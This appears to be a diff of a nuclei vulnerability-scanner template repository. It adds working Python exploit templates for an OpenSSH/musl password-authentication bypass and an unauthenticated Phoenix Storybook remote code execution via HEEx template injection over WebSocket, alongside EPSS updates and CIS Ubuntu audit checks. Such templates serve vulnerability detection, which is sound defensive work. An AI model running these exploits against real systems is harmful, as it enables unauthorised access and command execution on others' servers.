# digest: 490a00463044022048e2a65670a60a765e97d366fc18f51d1ce4f46dbb8b89c8767581d577a00a3202202b17f829eec919f7aeffb746031245efb8a139bfadc517f1a3e9df221d87362a:922c64590222798bb761d5b6d8e72950
+120
View File
@@ -0,0 +1,120 @@
id: CVE-2026-123158
info:
name: SSHole - OpenSSH/musl Password Auth Bypass
author: DhiyaneshDk
severity: critical
description: |
sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.
impact: |
Attackers can bypass password authentication, gaining unauthorized access to accounts.
remediation: |
Update to OpenSSH version 10.6p2 or later.
reference:
- https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/
- https://www.openssh.com/releasenotes.html#10.6p2
- https://nvd.nist.gov/vuln/detail/cve-2026-123158
classification:
cwe-id: CWE-305
metadata:
verified: true
max-request: 1
shodan-query: product:"OpenSSH"
tags: code,ssh,vuln,alpine,musl,auth-bypass,sshhole,network
code:
- engine:
- python3
- python
source: |
import sys, os, socket
try:
import paramiko
except ImportError:
print("SKIP paramiko not installed")
sys.exit(0)
import logging
logging.getLogger("paramiko").setLevel(logging.CRITICAL)
raw = sys.stdin.read().strip()
if ":" in raw:
host, port = raw.rsplit(":", 1)
port = int(port)
else:
host, port = raw, 22
try:
s = socket.create_connection((host, port), timeout=5)
banner = s.recv(256).decode(errors="replace").strip()
s.close()
except Exception as e:
print(f"CONNECTION_FAILED {host}:{port} {e}")
sys.exit(0)
if "OpenSSH" not in banner:
print(f"NOT_OPENSSH banner={banner}")
sys.exit(0)
print(f"BANNER {banner}")
PW = "A" * 300
USERS = ["root", "victim", "nobody", "ftp", "ntp", "sshd", "guest"]
for user in USERS:
try:
t = paramiko.Transport((host, port))
t.connect()
# Attempt 1 -- expected FAIL (shadow buffer aliasing)
a1 = False
try:
t.auth_password(user, PW)
a1 = True
except paramiko.AuthenticationException:
pass
except Exception:
t.close()
continue
if a1:
try:
ch = t.open_session()
ch.exec_command("id")
out = ch.makefile().read().decode().strip()
ch.close()
except:
out = "session-open"
t.close()
print(f"BYPASS_CONFIRMED user={user} attempt=1 id={out}")
sys.exit(0)
# Attempt 2 -- expected PASS (cached salt)
try:
t.auth_password(user, PW)
except paramiko.AuthenticationException:
t.close()
continue
except Exception:
t.close()
continue
try:
ch = t.open_session()
ch.exec_command("id")
out = ch.makefile().read().decode().strip()
ch.close()
except:
out = "session-open"
t.close()
print(f"BYPASS_CONFIRMED user={user} attempt=2 id={out}")
sys.exit(0)
except Exception:
continue
print("BYPASS_FAILED")
matchers:
- type: word
words:
- "BYPASS_CONFIRMED"
extractors:
- type: regex
name: bypassed_user
group: 1
regex:
- "user=(\\S+)"
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-20182
epss-score: 0.87693
epss-percentile: 0.99738
epss-score: 0.91817
epss-percentile: 0.99816
cwe-id: CWE-287
cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
metadata:
@@ -272,4 +272,4 @@ code:
- type: word
words:
- "VULNERABLE:"
# digest: 4a0a004730450220127e8b7b1bd730a8383479424cc229fed8fac958ae28c20c10d456bf9d083e38022100c4851e5ca05359bac2cd2824c20fb649a60295365f456fb3b4bbd7025a24d7b4:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502200e271c7d89e41b1b6114c53735580b9a4fe34c29fdd0322395c7f6af32edacc50221008941cee2e2914d69681c68bfb03f09fda537c09c67e4fe70a62dc2ada884e5a5:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2026-24061
cwe-id: CWE-88
epss-score: 0.98871
epss-percentile: 0.99921
epss-score: 0.98984
epss-percentile: 0.99929
metadata:
verified: true
max-request: 1
@@ -26,7 +26,7 @@ info:
product: inetutils
shodan-query: port:23 telnet
fofa-query: port="23" && protocol="telnet"
tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev
tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev,vuln
code:
- engine:
@@ -49,4 +49,4 @@ code:
- "Last login"
- "Debian"
condition: and
# digest: 4a0a00473045022011e8f400bf49429ac73ecf3a1f1dc2817f6fadacdcb9261415593da1ae6601b6022100c8f61b1763bb1cabbc7fbeba9931e06ff1ea95b16f402f17db5554e63740b0c2:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022065a94097ca7c40bb8bef866c1a6e607a8da23a564d3a75cdadfc656450c05cf10221008d8e4289091ce101df13ad402a376da2a88393b478c7857c13fe194ae343e537:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.8
cve-id: CVE-2026-31431
epss-score: 0.96267
epss-percentile: 0.9987
epss-score: 0.98114
epss-percentile: 0.99911
cwe-id: CWE-787
cpe: cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
metadata:
@@ -139,4 +139,4 @@ code:
part: response
regex:
- 'VULNERABLE:.*'
# digest: 4a0a00473045022100e058f2d5f55fad7a3fb789ff8f71e2fd5aa4ca8c22c1322f282bf8b2e00f6bf202204f95658677e444614a29df15e5f9a0d0d33bd6a0be8bcdc67189762700ed4455:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022051713b8fee9c8af61e7d430677309dbfe206f3b94f712ade50fe676b31b4de0302201bc5a3b9b15d079c56cd4c486fd470f4d2d7050d8218206ac027456019598695:922c64590222798bb761d5b6d8e72950
+279
View File
@@ -0,0 +1,279 @@
id: CVE-2026-8467
info:
name: Phoenix Storybook - Remote Code Execution
author: 0x_Akoko
severity: critical
description: |
Phenixdigital phoenix_storybook >=0.5.0 <1.1.0 contains a code injection caused by unsanitized attribute value interpolation in HEEx template generation, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires sending crafted WebSocket event data.
impact: |
Unauthenticated attackers can execute arbitrary code on the server, leading to full system compromise.
remediation: |
Upgrade to version 1.1.0 or later.
reference:
- https://github.com/plausible/analytics/security/advisories
- https://github.com/plausible/analytics
- https://nvd.nist.gov/vuln/detail/CVE-2026-8467
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-8467
epss-score: 0.02111
epss-percentile: 0.81849
cwe-id: CWE-94
metadata:
verified: true
max-request: 3
shodan-query: http.favicon.hash:829712541
fofa-query: icon_hash=="829712541"
tags: cve,cve2026,rce,plausible,phoenix,storybook,heex
code:
- engine:
- py
- python3
source: |
import sys, re, json, ssl, socket, struct, base64, os, time
import http.cookiejar, urllib.request, urllib.parse, urllib.error
target = sys.stdin.read().strip()
if not target:
print("ERROR: No target")
sys.exit(1)
target = target.rstrip("/")
if not target.startswith("http"):
target = "http://" + target
is_https = target.startswith("https://")
ssl_ctx = ssl.create_default_context()
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
storybook_url = target + "/storybook/iframe/button?playground=true&variation_id=default&topic=pwn"
# Step 1: Fetch storybook page
try:
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj), urllib.request.HTTPSHandler(context=ssl_ctx))
req = urllib.request.Request(storybook_url, headers={"User-Agent": "Mozilla/5.0"})
resp = opener.open(req, timeout=15)
body = resp.read().decode("utf-8", errors="replace")
except Exception as e:
print("NOT_VULNERABLE: Connection failed - " + str(e))
sys.exit(0)
if resp.getcode() != 200 or "data-phx-session" not in body:
print("NOT_VULNERABLE: Storybook not exposed (HTTP " + str(resp.getcode()) + ")")
sys.exit(0)
# Step 2: Extract tokens
csrf_m = re.search(r'content="([^"]+)"\s+name="csrf-token"', body) or re.search(r'name="csrf-token"\s+content="([^"]+)"', body)
if not csrf_m:
print("NOT_VULNERABLE: No CSRF token")
sys.exit(0)
csrf = csrf_m.group(1)
cookie_str = "; ".join(c.name + "=" + c.value for c in cj)
phx_id_m = re.search(r'id="phx-([^"]+)"', body)
if not phx_id_m:
print("NOT_VULNERABLE: No PHX ID")
sys.exit(0)
phx_id = phx_id_m.group(1)
sessions = re.findall(r'data-phx-session="([^"]+)"', body)
statics = re.findall(r'data-phx-static="([^"]+)"', body)
if not sessions or not statics:
print("NOT_VULNERABLE: No session tokens")
sys.exit(0)
parent_session = sessions[0]
parent_static = statics[0]
child_static = statics[1] if len(statics) > 1 else statics[0]
# Step 3: Raw WebSocket connection (NO Origin header - bypasses Phoenix check_origin)
host_with_port = target.split("://", 1)[1]
parts = host_with_port.split(":")
ws_host = parts[0]
ws_port = int(parts[1]) if len(parts) > 1 else (443 if is_https else 80)
csrf_enc = urllib.parse.quote(csrf, safe="")
ws_path = "/live/websocket?_csrf_token=" + csrf_enc + "&_track_static%5B0%5D=&_mounts=0&vsn=2.0.0"
try:
sock = socket.create_connection((ws_host, ws_port), timeout=15)
if is_https:
sock = ssl_ctx.wrap_socket(sock, server_hostname=ws_host)
ws_key = base64.b64encode(os.urandom(16)).decode()
handshake = "GET " + ws_path + " HTTP/1.1\r\nHost: " + host_with_port + "\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: " + ws_key + "\r\nSec-WebSocket-Version: 13\r\nCookie: " + cookie_str + "\r\nUser-Agent: Mozilla/5.0\r\n\r\n"
sock.sendall(handshake.encode())
resp_data = b""
while b"\r\n\r\n" not in resp_data:
chunk = sock.recv(4096)
if not chunk:
break
resp_data += chunk
if b"101" not in resp_data.split(b"\r\n")[0]:
print("NOT_VULNERABLE: WebSocket upgrade failed")
sys.exit(0)
except Exception as e:
print("NOT_VULNERABLE: WebSocket connection failed - " + str(e))
sys.exit(0)
def ws_send(sock, data):
payload = data.encode("utf-8")
frame = bytearray([0x81])
mask_key = os.urandom(4)
ln = len(payload)
if ln < 126:
frame.append(0x80 | ln)
elif ln < 65536:
frame.append(0x80 | 126)
frame.extend(struct.pack("!H", ln))
else:
frame.append(0x80 | 127)
frame.extend(struct.pack("!Q", ln))
frame.extend(mask_key)
masked = bytearray(ln)
for i in range(ln):
masked[i] = payload[i] ^ mask_key[i % 4]
frame.extend(masked)
sock.sendall(bytes(frame))
def ws_recv(sock, timeout=10):
sock.settimeout(timeout)
def rx(n):
d = b""
while len(d) < n:
c = sock.recv(n - len(d))
if not c:
raise Exception("closed")
d += c
return d
hdr = rx(2)
op = hdr[0] & 0x0F
mk = (hdr[1] & 0x80) != 0
ln = hdr[1] & 0x7F
if ln == 126:
ln = struct.unpack("!H", rx(2))[0]
elif ln == 127:
ln = struct.unpack("!Q", rx(8))[0]
if mk:
mask_key = rx(4)
pl = rx(ln)
if mk:
pl = bytearray(pl)
for i in range(len(pl)):
pl[i] ^= mask_key[i % 4]
pl = bytes(pl)
return op, pl.decode("utf-8", errors="replace")
# Step 4: Join parent LiveView
parent_join = json.dumps(["1", "1", "lv:phx-" + phx_id, "phx_join", {"url": storybook_url, "params": {"_csrf_token": csrf, "_mounts": 0}, "session": parent_session, "static": parent_static}])
ws_send(sock, parent_join)
child_session = None
child_topic = None
for _ in range(10):
try:
op, msg = ws_recv(sock)
if not msg:
continue
data = json.loads(msg)
if isinstance(data, list) and len(data) >= 5 and data[3] == "phx_reply":
rendered_str = json.dumps(data[4].get("response", {}).get("rendered", {}))
cs = re.findall(r'data-phx-session=\\+"([^"\\]+)', rendered_str)
for s in cs:
if s != parent_session:
child_session = s
break
if not child_session and cs:
child_session = cs[0]
tm = re.findall(r'id=\\+"([^"\\]*-playground-preview)', rendered_str)
if tm:
child_topic = "lv:" + tm[0]
cst = re.findall(r'data-phx-static=\\+"([^"\\]+)', rendered_str)
if cst:
child_static = cst[0]
break
except:
break
if not child_session:
if len(sessions) > 1:
child_session = sessions[1]
else:
print("NOT_VULNERABLE: No child session found")
sock.close()
sys.exit(0)
if not child_topic:
child_topic = "lv:plausible_web_storybook_button-playground-preview"
# Step 5: Join child LiveView
child_join = json.dumps(["2", "2", child_topic, "phx_join", {"url": storybook_url, "params": {"_csrf_token": csrf, "_mounts": 0}, "session": child_session, "static": child_static}])
ws_send(sock, child_join)
child_joined = False
for _ in range(10):
try:
op, msg = ws_recv(sock)
if not msg:
continue
data = json.loads(msg)
if isinstance(data, list) and len(data) >= 5 and data[3] == "phx_reply":
st = data[4].get("status", "") if isinstance(data[4], dict) else ""
if st == "ok":
child_joined = True
break
except:
break
if not child_joined:
print("NOT_VULNERABLE: Child join failed")
sock.close()
sys.exit(0)
# Step 6: Send RCE payload
cmd = "id"
exploit_val = 'foo" pwned={elem(System.cmd("sh",["-c","' + cmd + '"]),0)} a="'
exploit_msg = json.dumps(["3", "3", child_topic, "event", {"type": "click", "event": "psb-assign", "value": {"variation_id": "default", "type": exploit_val}}])
ws_send(sock, exploit_msg)
# Step 7: Parse output
rce_output = ""
for _ in range(10):
try:
op, msg = ws_recv(sock)
if not msg:
continue
if "pwned" in msg:
pm = re.search(r'pwned=\\+"(.*?)\\+"', msg)
if not pm:
pm = re.search(r'pwned="(.*?)"', msg)
if pm:
rce_output = pm.group(1).replace("\\n", "\n").replace("\\t", "\t").replace('\\"', '"')
rce_output = re.sub(r'\s+a=.*', '', rce_output, flags=re.DOTALL).strip()
break
except:
break
sock.close()
if rce_output and "uid=" in rce_output:
print("Target: " + target)
print("Status: RCE_CONFIRMED")
print("Command: " + cmd)
print("Output: " + rce_output)
else:
print("NOT_VULNERABLE: No RCE output")
matchers:
- type: word
words:
- "RCE_CONFIRMED"
- "uid="
condition: and
extractors:
- type: regex
name: rce_output
group: 1
regex:
- "Output: (.*)"
# digest: 4b0a00483046022100cf953ac2d76dc9aaaf7b14a2ac85b923966b71b0fb3e8d8e706d524155d2987f0221008cdd26c1fc9d9f9bbcbdbaf9e5811433c76dbda034f8fbcd52410caf8819871a:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
id: apport-error-reporting-disabled-check
info:
name: Ensure Automatic Error Reporting is Not Enabled
author: Th3l0newolf
severity: medium
description: |
This template checks whether the Apport automatic error reporting service is enabled.
remediation: |
Disable Apport by editing `/etc/default/apport` and setting:
enabled=0
If Apport is not required, remove it:
sudo apt remove apport -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,apport,error-reporting,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s apport &>/dev/null && grep -Psiq -- '^\h*enabled\h*=\h*[^0]\b' /etc/default/apport; then
echo "[apport-error-reporting-disabled-check:Policy-Fail] [Automatic Error Reporting is enabled] [CIS_FAIL] [medium]"
else
echo "[apport-error-reporting-disabled-check:Policy-Pass] [Automatic Error Reporting is disabled] [CIS_PASS] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a0046304402200d37587f3a27f271e96ffbea88879b3f065db850de39a41b3ec97fb0c538f07b0220445de576573745b10d3e4d01b186ef72a9b7270bd0685634c45ddc4348243424:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,44 @@
id: gdm-automount-removable-media-disabled-check
info:
name: Ensure GDM Automatic Mounting of Removable Media is Disabled
author: Th3l0newolf
severity: medium
description: |
This template checks whether automatic mounting of removable media is disabled.
remediation: |
Disable automatic mounting and automatic opening of removable media in GDM.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,media,automount,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
automount=$(gsettings get org.gnome.desktop.media-handling automount 2>/dev/null)
automount_open=$(gsettings get org.gnome.desktop.media-handling automount-open 2>/dev/null)
if [ "$automount" = "false" ] && [ "$automount_open" = "false" ]; then
echo "[gdm-automount-removable-media-disabled-check:Policy-Pass] [Automatic mounting of removable media is disabled] [CIS_PASS] [medium]"
else
echo "[gdm-automount-removable-media-disabled-check:Policy-Fail] [Automatic mounting of removable media is enabled] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100d49ac46ebe2172ca1f5fa4fbd1d7e2c4c3964ce081c06e33a29d8d87f5789c020220162bf14558a7cd7eca0d7006654b7ba99ffc23fd118e9bd7df99babf6fe13ced:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,44 @@
id: gdm-autorun-never-enabled-check
info:
name: Ensure GDM autorun-never is Enabled
author: Th3l0newolf
severity: medium
description: |
This template checks whether GDM is configured to disable autorun for removable media.
remediation: |
Enable the `autorun-never` setting to prevent automatic execution of content
from removable media.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,autorun,media,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
autorun_never=$(gsettings get org.gnome.desktop.media-handling autorun-never 2>/dev/null)
if [ "$autorun_never" = "true" ]; then
echo "[gdm-autorun-never-enabled-check:Policy-Pass] [GDM autorun-never is enabled] [CIS_PASS] [medium]"
else
echo "[gdm-autorun-never-enabled-check:Policy-Fail] [GDM autorun-never is not enabled] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a0046304402206c80c1a86743871e9f595f4dcd2a4514b546b38bc6d19526607164c2e3cae9a4022051f4b192684563ca0434b43e54043fdf0111dcd7cc59c761d5ac11d4ae9f7af0:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
id: gdm-disable-user-list-enabled-check
info:
name: Ensure GDM disable-user-list Option is Enabled
author: Th3l0newolf
severity: low
description: |
This template checks whether the GDM disable-user-list option is enabled.
remediation: |
Enable the `disable-user-list` option in GDM to prevent displaying the
list of local users on the login screen.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,login,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if [ "$(gsettings get org.gnome.login-screen disable-user-list 2>/dev/null)" = "true" ]; then
echo "[gdm-disable-user-list-enabled-check:Policy-Pass] [GDM disable-user-list option is enabled] [CIS_PASS] [low]"
else
echo "[gdm-disable-user-list-enabled-check:Policy-Fail] [GDM disable-user-list option is not enabled] [CIS_FAIL] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022025a93b7d3071b399ffeb3961566cdd9c923917af8678a1a885e811441fa04f01022100a84cee2408f06cfe157bdfcc217d3d32df9a8292f62566c1fad7b7b4542d4758:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
id: gdm-login-banner-configured-check
info:
name: Ensure GDM Login Banner is Configured
author: Th3l0newolf
severity: low
description: |
This template checks whether the GDM login banner is enabled and configured.
remediation: |
Enable the GDM login banner and configure an appropriate warning message
according to your organization's security policy.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
enabled=$(gsettings get org.gnome.login-screen banner-message-enable 2>/dev/null)
banner=$(gsettings get org.gnome.login-screen banner-message-text 2>/dev/null)
if [ "$enabled" = "true" ] && [ -n "$banner" ] && [ "$banner" != "''" ]; then
echo "[gdm-login-banner-configured-check:Policy-Pass] [GDM login banner is enabled and configured] [CIS_PASS] [low]"
else
echo "[gdm-login-banner-configured-check:Policy-Fail] [GDM login banner is not enabled or not configured] [CIS_FAIL] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100e8489d5b348200a612586fc5e0fe4174623f220b4c1c44d330368d924251f574022057569da8e66eea1e3917a3111c07a2b48f45e4fbd94e6a20d27b35e1b5c732c4:922c64590222798bb761d5b6d8e72950
+42
View File
@@ -0,0 +1,42 @@
id: gdm-removed-check
info:
name: Ensure GDM is Removed
author: Th3l0newolf
severity: medium
description: |
This template checks whether the GNOME Display Manager (GDM) is installed.
remediation: |
Remove the GDM package if it is not required:
sudo apt remove gdm3 -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,gdm3,package,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s gdm3 &>/dev/null; then
echo "[gdm-removed-check:Policy-Fail] [gdm3 is installed] [CIS_FAIL] [medium]"
else
echo "[gdm-removed-check:Policy-Pass] [gdm3 is not installed] [CIS_PASS] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a00463044022004cdc95f83850e9d07aa99423acaff95f3f8d644cf673f3f6282fdb499e25cb70220500dbf49f39b14e13f1134f8c4723055f51e6147c5a0f0ca68c4e8e91987f660:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,49 @@
id: gdm-screen-lock-idle-check
info:
name: Ensure GDM Screen Locks When the User is Idle
author: Th3l0newolf
severity: medium
description: |
This template checks whether the screen is configured to lock after a period of user inactivity.
remediation: |
Configure the screen lock settings to meet your organization's security policy:
- Set `lock-delay` to 5 seconds or less.
- Set `idle-delay` to 900 seconds (15 minutes) or less and ensure it is not disabled.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,screensaver,screenlock,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
lock_delay=$(gsettings get org.gnome.desktop.screensaver lock-delay 2>/dev/null | awk '{print $2}')
idle_delay=$(gsettings get org.gnome.desktop.session idle-delay 2>/dev/null | awk '{print $2}')
if [ -n "$lock_delay" ] && [ -n "$idle_delay" ] && \
[ "$lock_delay" -le 5 ] && \
[ "$idle_delay" -gt 0 ] && \
[ "$idle_delay" -le 900 ]; then
echo "[gdm-screen-lock-idle-check:Policy-Pass] [Screen lock is configured correctly] [CIS_PASS] [medium]"
else
echo "[gdm-screen-lock-idle-check:Policy-Fail] [Screen lock is not configured correctly] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100be8d82fc5c709641b04535b1b34c9e69db9602eb06a0e4b508c1c7dc598e2a30022065d4f36251f33969b7c7cac33ce18f1b0115cd6ff96f514b5f5f23e57064e639:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -21,7 +21,10 @@ code:
HOME_DIR=$(eval echo ~$user)
find "$HOME_DIR" -maxdepth 1 -type f \
\( -name ".bashrc" -o -name ".bash_profile" -o -name ".bash_logout" \) \
-exec ls -l {} \; | awk -v usr="$user" '{print $0, "EXPECTED_USER="usr}'
-exec ls -l {} \; | awk -v usr="$user" '{
if ($3 != "root" && $3 != usr) print "INVALID_OWNER", $0
else print $0
}'
done
matchers:
@@ -36,5 +39,5 @@ code:
name: invalid-owner
part: response
regex:
- "^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)"
# digest: 490a0046304402200d1c1eb3e56074bf3daf7445e93706d95501decf32ee59f9d155f9d07f56d988022070e34135003e30cdd8a2aea1d25fef4df3cb8b9e354d0511a38a1dace28b16b0:922c64590222798bb761d5b6d8e72950
- "^INVALID_OWNER"
# digest: 4b0a004830460221008f1026cc0254988a320127f54f6632957306601d6961aea2ac9a446cd5f6b9ab02210086b126c50bbc20138ad7477bb88eeaf1b605461def18dd415775fd23651b9758:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,47 @@
id: issue-file-permissions-check
info:
name: Ensure Access to /etc/issue is Configured
author: Th3l0newolf
severity: medium
description: |
This template checks whether /etc/issue has secure ownership and permissions.
remediation: |
Set the ownership and permissions on `/etc/issue`:
sudo chown root:root /etc/issue
sudo chmod 644 /etc/issue
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue,permissions,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
mode=$(stat -Lc "%a" /etc/issue)
uid=$(stat -Lc "%u" /etc/issue)
gid=$(stat -Lc "%g" /etc/issue)
if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
echo "[issue-file-permissions-check:Policy-Pass] [/etc/issue ownership and permissions are correctly configured] [CIS_PASS] [medium]"
else
echo "[issue-file-permissions-check:Policy-Fail] [/etc/issue ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502204805f23b5b2fde38972210068588544f6d63ee85808fd260c1110d3bf74e0f81022100bcf8c34f4972f68f33fcbe9e00e7a9d4d88db7c5fbd44edc9015fdd09435e104:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,47 @@
id: issue-net-file-permissions-check
info:
name: Ensure Access to /etc/issue.net is Configured
author: Th3l0newolf
severity: medium
description: |
This template checks whether /etc/issue.net has secure ownership and permissions.
remediation: |
Set the ownership and permissions on `/etc/issue.net`:
sudo chown root:root /etc/issue.net
sudo chmod 644 /etc/issue.net
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue.net,permissions,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
mode=$(stat -Lc "%a" /etc/issue.net)
uid=$(stat -Lc "%u" /etc/issue.net)
gid=$(stat -Lc "%g" /etc/issue.net)
if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
echo "[issue-net-file-permissions-check:Policy-Pass] [/etc/issue.net ownership and permissions are correctly configured] [CIS_PASS] [medium]"
else
echo "[issue-net-file-permissions-check:Policy-Fail] [/etc/issue.net ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502205b90b88bc4944dc3b9d5e1ffd449bfeba36ca31aa5b361d2925d6a9ffdfa31d2022100f198d2b9ea2306ea3da915e903f444320811814b645ca7199caa29242e77e657:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,46 @@
id: local-login-warning-banner-configured-check
info:
name: Ensure Local Login Warning Banner is Configured Properly
author: Th3l0newolf
severity: low
description: |
This template checks whether the local login warning banner is configured
without exposing system information.
remediation: |
Edit `/etc/issue` and remove any operating system, kernel, architecture,
or version information that could disclose system details. Configure the
banner according to your organization's security policy.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue >/dev/null 2>&1; then
echo "[local-login-warning-banner-configured-check:Policy-Fail] [/etc/issue contains system information] [CIS_FAIL] [low]"
else
echo "[local-login-warning-banner-configured-check:Policy-Pass] [/etc/issue is properly configured] [CIS_PASS] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100b7f3c0df5a197c8d43ee9e54731a4ca92fda92a03c083fc15c36747d0d38e7cb02201a669b82498409b20c9dfda008d11eeb57e395f382ba3c502504311f675c6653:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
id: motd-configured-properly-check
info:
name: Ensure Message of the Day is Configured Properly
author: Th3l0newolf
severity: low
description: |
This template checks whether the Message of the Day (MOTD) is configured
without exposing system information.
remediation: |
Edit `/etc/motd` and remove any operating system, kernel, architecture,
or version information that could disclose system details.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,motd,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/motd >/dev/null 2>&1; then
echo "[motd-configured-properly-check:Policy-Fail] [/etc/motd contains system information] [CIS_FAIL] [low]"
else
echo "[motd-configured-properly-check:Policy-Pass] [/etc/motd is properly configured] [CIS_PASS] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502205a5f2adda2516b58a427743cc99efc6ebbb0ecde6a4c1675c8b74c47b485913d022100c0fc56c0137edea5823b5e5f0594b7f64e062c607da5c940a903cd81e6fb2dd4:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,52 @@
id: motd-file-permissions-check
info:
name: Ensure Access to /etc/motd is Configured
author: Th3l0newolf
severity: medium
description: |
This template checks whether /etc/motd has secure ownership and permissions.
remediation: |
Set the ownership and permissions on `/etc/motd`:
sudo chown root:root /etc/motd
sudo chmod 644 /etc/motd
reference:
